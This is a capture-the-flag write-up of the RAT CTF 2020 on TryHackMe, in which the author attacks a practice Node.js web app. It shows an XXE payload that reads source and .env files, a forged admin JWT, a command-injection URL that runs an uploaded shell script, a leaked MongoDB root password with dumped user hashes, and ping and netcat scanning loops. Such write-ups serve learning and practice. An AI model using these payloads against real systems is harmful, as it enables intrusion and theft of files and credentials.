RAT CTF 2020

September 06, 2020

Introduction

I had pleasure to participate in RAT CTF 2020 on 5/6 September 2020. The competition organized by The XSS rat on Tryhackme platform. The goal was to find vulnerabilities and hidden flags on single “Ratpack” webapp. Sounds challenging ;-)

App deployment left me with IP address and nothing else. As it is an webapp I’ve started with visiting http://<IP>; and yellow backgrounded site hit me in the eyes. Site was pretty simple, it contains registration, login and main functionality which was uploading and browsing the files. Worth mentioning - file extensions were limited to .txt, .doc, .docx but without real validation performing. HTTP headers informed me, that we are dealing with Express.js application.

First flag

The organizers shared hint - we should start attack by using XXE vulnerability. Helpful were shared video and tons of googled examples. I’ve created the example docx document with LibreOffice Writer and then opened it with file-roller.

docx

Then, I edited /word/document.xml by adding: <!DOCTYPE test [ <!ENTITY xxe SYSTEM ”file:///usr/src/app/index.js” > ]> and &xxe; in the document body. Hint about the path was available on the upload page. After uploading prepared document and viewing it via site I received below source code.

index js

The part that caught my attention was const dotenv = require(‘dotenv’); which was the hint for reaching .env file. After fast change in my payload file I reached first flag.

1flag

Second flag

Before I get the first flag I’ve spend few hours trying to hack the JSON Web Token stored in the cookie. With the first flag I get TOKEN_SECRET which were missing part needed for logged user privilege escalation. To forge new JWT I’ve used jwt.io as below.

jwt

After gaining the admin rights I found, that on file preview page delete button appears. In the meanwhile organizers shared the hint - some elements of website are vulnerable for blind code execution. It was perfect candidate for that ;-)

delete

I’ve prepared shell script, uploaded it and executed with the url http://<IP>/delete?file=key.txt%0A(cd+usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+inject.txt). It’s pretty funny, because I didn’t create reverse shell. Instead of, I’ve made few dozens of payloads with shell commands, from which output was saved in uploads directory as txt files ready to preview. Finally, I’ve found the flag2.txt file on root filesystem and retrieved it with cp /flag2.txt ./ payload.

flag2

Third flag (not conquered)

Unfortunately, I didn’t conquer it :-( I was almost sure, that third flag is stored in database (yeah, it would be too easy). Prepared below nodejs code and executed it.

const mongoose = require('mongoose');
mongoose.connect('mongodb://root:jDd4sgFcd##sd19@mongodb/', {useNewUrlParser: true});
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
db.on('open', function () {
    db.db.listCollections().toArray(function (err, names) {
      if (err) {
        console.log(err);
      } else {
        console.log(names);
      }
    });
});


const User = require('./model/User');

User.find({}, function(err, dupa) {
        if (err) throw err;
        console.log(dupa.length);
        for (var i = 0;i < dupa.length; i++){
          console.log(dupa[i]._id);
          console.log(dupa[i].name);
          console.log(dupa[i].email);
          console.log(dupa[i].password);
          console.log(dupa[i].date);
        }
    });

Sadly, the output (below) was disappointing.

  {
    name: 'users',
    type: 'collection',
    options: {},
    info: { readOnly: false, uuid: [Binary] },
    idIndex: { v: 2, key: [Object], name: '_id_', ns: 'test.users' }
  }
]
3
5f1ae68405d8f2001c19f852
4ndr34z
[email protected]
$2a$10$spy7FSrAdLqGlQM2nn4IVO6QCYvKASZJt.xyRRbwsS4c9RWC.MJIq
2020-07-24T13:47:48.618Z
5f53caf4f2900900271614e2
Andreas
[email protected]
$2a$10$dgYp4MC80h46v/IWMOT6xuD6rqNZEn/LahSVlOrQHN7QKxIB4vxsG
2020-09-05T17:29:24.711Z
5f5544ac1463d90027892b19
[email protected]
[email protected]
$2a$10$X5rn7Umcry.CE0fQm5fDOuW6TLfwFql5PwSZwnpJErPAyogUFuH/6
2020-09-06T20:21:00.556Z

Next thing, that came up to my mind was to scan the network. Firstly I’ve checked if there any other machines available in the network:

for i in `seq 255`; do<br>
ping -c 1 172.20.0.${i} >> ping_chain.txt 2>&1<br>
done

The first three addresses responded. So, I’ve portscanned them with netcat. It is worth mentioning, that busybox netcat implementation gave me a headache - it doesn’t support port ranges.

for i in `seq 9000`; do<br>
nc -zv 172.20.0.1 ${i} >> nc2.txt 2>&1<br>
nc -zv 172.20.0.2 ${i} >> nc2.txt 2>&1<br>
nc -zv 172.20.0.3 ${i} >> nc2.txt 2>&1<br>
done

This is how I found another nodejs webapp running on http://172.20.0.1:3000 I’ve started to play with it by preparing payloads and sending them with netcat when time was up and competition has been closed.

Summary

I didn’t get all the flags, but learned a lot and had lot of fun. Thank you thexssrat! Cheers!

Privacy Policy
luc © 2021